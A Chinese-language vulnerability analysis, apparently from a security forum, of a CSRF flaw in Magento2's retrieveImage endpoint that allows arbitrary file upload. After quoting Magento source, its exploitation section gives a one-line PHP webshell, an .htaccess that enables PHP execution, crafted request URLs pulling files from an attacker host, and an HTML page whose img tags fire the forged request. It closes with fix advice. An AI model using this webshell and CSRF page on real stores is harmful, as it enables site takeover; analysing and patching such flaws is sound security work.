Magento2 CSRF导致任意文件上传漏洞简单分析

cryin / 2017-04-21 10:12:00 / 浏览数 4749 安全技术 漏洞分析 顶(0) 踩(0)

概述

国外安全公司DefenseCode研究人员发现了Magento2的一个CSRF漏洞，成功利用该漏洞可以导致任意文件上传进而实现任意代码执行。厂商至今仍未修复该漏洞。

漏洞原因

Magento是一套专业开源的电子商务系统，可以在github上clone下代码进行代码审计及漏洞挖掘。本文要说的这个CSRF漏洞是在管理员添加产品时程序会自动请求URL中

```
public function execute()
   {
       $baseTmpMediaPath = $this->mediaConfig->getBaseTmpMediaPath();//[redacted]pub/media/tmp/catalog/product/
       try {
           $remoteFileUrl = $this->getRequest()->getParam('remote_image');
           $this->validateRemoteFile($remoteFileUrl);//[redacted]url[redacted]http[redacted]https
           $originalFileName = basename($remoteFileUrl);//[redacted]
           $localFileName = Uploader::getCorrectFileName($originalFileName);//[redacted]
           $localTmpFileName = Uploader::getDispretionPath($localFileName) . DIRECTORY_SEPARATOR . $localFileName;//getDispret
           $localFileMediaPath = $baseTmpMediaPath . ($localTmpFileName);//[redacted]
           $localUniqueFileMediaPath = $this->appendNewFileName($localFileMediaPath);//[redacted]
           $this->retrieveRemoteImage($remoteFileUrl, $localUniqueFileMediaPath);//[redacted]
           $localFileFullPath = $this->appendAbsoluteFileSystemPath($localUniqueFileMediaPath);//[redacted]
           $this->imageAdapter->validateUploadFile($localFileFullPath);//[redacted]
           $result = $this->appendResultSaveRemoteImage($localUniqueFileMediaPath);//[redacted]
       } catch (\Exception $e) {
           $result = ['error' => $e->getMessage(), 'errorcode' => $e->getCode()];
       }

       /** @var \Magento\Framework\Controller\Result\Raw $response */
       $response = $this->resultRawFactory->create();
       $response->setHeader('Content-type', 'text/plain');
       $response->setContents(json_encode($result));
       return $response;
   }
```

代码通过获取'remoteimage'的参数值，这里只判断了链接协议是否为HTTP及HTTPS，并未对文件类型及后缀进行判断。得到图片链接地址并以文件前两个字母作为两个目
{"error":"Disallowed file type.","errorcode":0}
其中getDispretionPath函数的代码在\lib\internal\Magento\Framework\File\Uploader.php文件614行，从代码实现可以看到获取了文件名前两个字母分别作为目录，并

```
public static function getDispretionPath($fileName)
   {
       $char = 0;
       $dispertionPath = '';
       while ($char < 2 && $char < strlen($fileName)) {
           if (empty($dispertionPath)) {
               $dispertionPath = '/' . ('.' == $fileName[$char] ? '_' : $fileName[$char]);
           } else {
               $dispertionPath = self::_addDirSeparator(
                   $dispertionPath
               ) . ('.' == $fileName[$char] ? '_' : $fileName[$char]);
           }
           $char++;
       }
       return $dispertionPath;
   }
```

retrieveRemoteImage函数调用封装的curl方法请求图片链接并保存到指定目录，其中也未做任何判断及处理，代码如下:

```
protected function retrieveRemoteImage($fileUrl, $localFilePath)
   {
       $this->curl->setConfig(['header' => false]);
       $this->curl->write('GET', $fileUrl);
       $image = $this->curl->read();
       if (empty($image)) {
           throw new \Magento\Framework\Exception\LocalizedException(
```

```
                __('Could not get preview image information. Please check your connection and try again.')
            );
        }
        $this->fileUtility->saveFile($localFilePath, $image);
    }
```

校验目录及文件类型的函数validateUploadFile在lib\internal\Magento\Framework\Image\Adapter\AbstractAdapter.php文件711行，代码如下:

```
public function validateUploadFile($filePath)
    {
        if (!file_exists($filePath)) {
            throw new \InvalidArgumentException("File '{$filePath}' does not exists.");
        }
        if (!getimagesize($filePath)) {
            throw new \InvalidArgumentException('Disallowed file type.');
        }
        $this->checkDependencies();
        $this->open($filePath);

        return $this->getImageType() !== null;
    }
```

虽然这里对目录及文件类型进行了校验，对于非图片类型的文件也抛出异常。但此时程序已经请求了链接并保存到本地目录中。从而实现了任意文件上传的目的。

漏洞利用

在说这个漏洞利用之前先了解下CSRF。CSRF（Cross-Site Request
Forgery，跨站点伪造请求），攻击者构造特定请求功能的链接诱使通过认证的真正用户或管理员点击。从而实现以受害者名义伪造请求，在未授权的情况下执行在权限保护
利用这个漏洞的思路就是通过构造请求，让登录用户访问，从而实现上传php文件并执行。但是上面分析也说道程序下载的文件保存在了pub/media/tmp/catalog/product
.htaccess开启这个目录的PHP解析。内容如下: php_flag engine 1

phpflag设置可参考http://www.php.net/manual/zh/apache.configuration.php
在上传.htaccess文件时。该文件会保存为pub/media/tmp/catalog/product//h/.htaccess 所以php程序名称应以.h开头，如.hcmd.php,如:

```
<?php assert($_GET[stride]);?>
```

然后构造请求，如
http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.htaccesshttp://10.

待管理员访问了上述链接后即可使用 http://10.65.10.195/magento2/pub/media/tmp/catalog/product/_/h/.hcmd.php访问webshell。

伪造请求页面

```
<html>
<head>
<title>Magento2(CSRF)</title>
</head>
<body>

<h2>Magento2 CSRF TEST</h2>
<img src="http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.

<h3>Magento2 CSRF TEST</h3>
<img src="http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.

</body>
</html>
```

修复建议

这个漏洞主要有两个地方设计和实现的不够合理，所以代码的修复也会在两个地方进行修改:

- CSRF的修复，增加对refer的检测或使用Token防御CSRF攻击
- 在请求预览图片时先校验文件及类型的合法性，然后再保存

参考

[1] http://www.defensecode.com/advisories/DC-2017-04-003_Magento_Arbitrary_File_Upload.pdf [2]
http://www.php.net/manual/zh/apache.configuration.php [3] http://www.freebuf.com/articles/web/55965.html

上一篇：老司机奇淫渗透测试让网站给自己发管... 下一篇：禅道826版本SQL注入，登录绕过

1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板